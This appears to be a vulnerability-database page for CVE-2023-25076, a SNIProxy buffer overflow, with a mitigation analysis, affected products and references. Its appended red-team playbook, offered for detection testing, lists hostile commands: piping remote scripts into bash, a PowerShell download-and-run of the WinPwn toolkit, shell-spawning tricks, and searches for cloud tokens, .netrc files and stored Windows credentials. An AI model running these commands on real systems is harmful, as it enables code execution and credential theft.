CVE-2023-25076
Overview
This vulnerability is a buffer overflow occurring in SNIProxy's processing of wildcard backend hosts. The flaw arises from improper bounds checking when handling specially crafted HTTP or TLS packets targeting the backend host matching logic. Affected components include the backend host resolution mechanism in SNIProxy versions 0.6.0-2 and the master branch at commit 822bb80df9b7b345cc9eba55df74a07b498819ba.
Vulnerability Description
A buffer overflow vulnerability exists in the handling of wildcard backend hosts of SNIProxy 0.6.0-2 and the master branch (commit: 822bb80df9b7b345cc9eba55df74a07b498819ba). A specially crafted HTTP or TLS packet can lead to arbitrary code execution. An attacker could send a malicious packet to trigger this vulnerability.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending crafted HTTP or TLS packets to the SNIProxy server, resulting in arbitrary code execution with the privileges of the SNIProxy process. No user interaction or prior authentication is required (AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data exfiltration, or disruption of proxy services, severely impacting confidentiality, integrity, and availability.
Solution
Users should upgrade SNIProxy to a patched version that includes commit f8d9a433fe22ab2fa15c00179048ab02ae23d583 or later. Debian LTS has issued an advisory (https://lists.debian.org/debian-lts-announce/2023/04/msg00030.html) recommending updating to fixed package versions. Detailed patch instructions and source code fixes are available via the Talos Intelligence report and the official GitHub repository commit referenced.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The identified vulnerability in SNIProxy pertains to a buffer overflow issue in the handling of wildcard backend hosts. This flaw arises when the software processes specially crafted HTTP or TLS packets. The underlying problem lies in the inadequate validation of input data, allowing an attacker to manipulate the memory allocation of the application. When the buffer overflows, it can overwrite adjacent memory, potentially leading to arbitrary code execution. This means that an attacker could inject malicious code into the running process, gaining control over the system and executing commands with the same privileges as the SNIProxy service.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could send a specially crafted packet to the SNIProxy server, which is often used in environments that require SSL termination and load balancing. This could be done remotely, making it particularly dangerous. For instance, an attacker might target a web application that relies on SNIProxy for secure connections, sending malicious traffic that exploits the buffer overflow. Once the overflow is triggered, the attacker could execute arbitrary code, potentially leading to a full system compromise. Scenarios could range from unauthorized access to sensitive data to deploying malware that could further propagate through the network.
The real-world impact of this vulnerability is significant, especially for organizations relying on SNIProxy for secure communications. Given the high CVSS score of 9.8, the risk associated with this vulnerability is critical. If successfully exploited, it could result in severe data breaches, loss of customer trust, and substantial financial losses. Organizations may face regulatory penalties if sensitive data is compromised, particularly in industries such as finance and healthcare where data protection is paramount. Furthermore, the potential for lateral movement within a compromised network could lead to broader security incidents, affecting not just the SNIProxy instance but other interconnected systems as well.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating SNIProxy to the latest versions is crucial, as patches often address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify unusual traffic patterns that may indicate an attempted exploitation. Network segmentation can also limit the impact of a successful attack by isolating critical systems from less secure environments. Finally, organizations should conduct regular security audits and penetration testing to assess their defenses against such vulnerabilities, ensuring that they remain vigilant in the face of evolving threats.
In conclusion, the buffer overflow vulnerability in SNIProxy presents a serious risk to organizations that utilize this software for managing secure connections. The potential for arbitrary code execution highlights the importance of robust input validation and memory management in software development. By understanding the nature of this vulnerability and implementing effective detection and mitigation strategies, organizations can significantly reduce their risk exposure and protect their critical assets from malicious actors.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sniproxy Project | Sniproxy | 0.6.0-2 |
cpe:2.3:a:sniproxy_project:sniproxy:0.6.0-2:*:*:*:*:*:*:*
|
|
|
Sniproxy Project | Sniproxy | 0.6.1 |
cpe:2.3:a:sniproxy_project:sniproxy:0.6.1:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-25076 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2023-1731 |
| github.com |
GitHub CVE
|
https://github.com/dlundquist/sniproxy/commit/f8d9a433fe22ab2fa15c00179048ab02ae23d583 |
| lists.debian.org |
GitHub CVE
|
https://lists.debian.org/debian-lts-announce/2023/04/msg00030.html |
| debian.org |
GitHub CVE
|
https://www.debian.org/security/2023/dsa-5413 |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1731 |